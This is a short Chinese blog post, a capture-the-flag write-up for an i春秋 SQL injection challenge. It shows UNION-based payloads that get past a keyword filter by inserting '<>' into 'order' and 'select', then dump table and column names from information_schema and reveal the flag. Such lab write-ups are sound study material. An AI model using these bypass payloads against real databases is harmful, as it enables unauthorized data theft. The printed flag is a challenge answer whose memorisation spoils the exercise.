i春秋web-SQL(基础绕过注入)

原创

大千SS 于 2019-05-21 13:12:37 发布 590 收藏 1
分类专栏： i春秋 文章标签： i春秋 sql注入

本文链接：https://blog.csdn.net/zz_Caleb/article/details/90405002

很简单的一道注入，没有任何闭合，直接就是个整数的注入
id=1 order by 1

报错：inj code!

对order进行处理

1）id=1 or<>der by 1 报错：inj code!
2）id=1 ord<>er by 1 页面正常

id=-1 union sel<>ect 1,2,3
页面显示2，说明作用点在2的地方。

然后暴表

id=-1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

得到：info,users
根据源码提示，flag应该是在info中。

暴字段

id=-1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'

得到：id,title,flAg_T5ZNdrm

暴出flag

id=-1 union sel<>ect 1,flAg_T5ZNdrm,3 from info

得到：flag{f2929a1b-1738-48ff-8609-2441ac9802cb}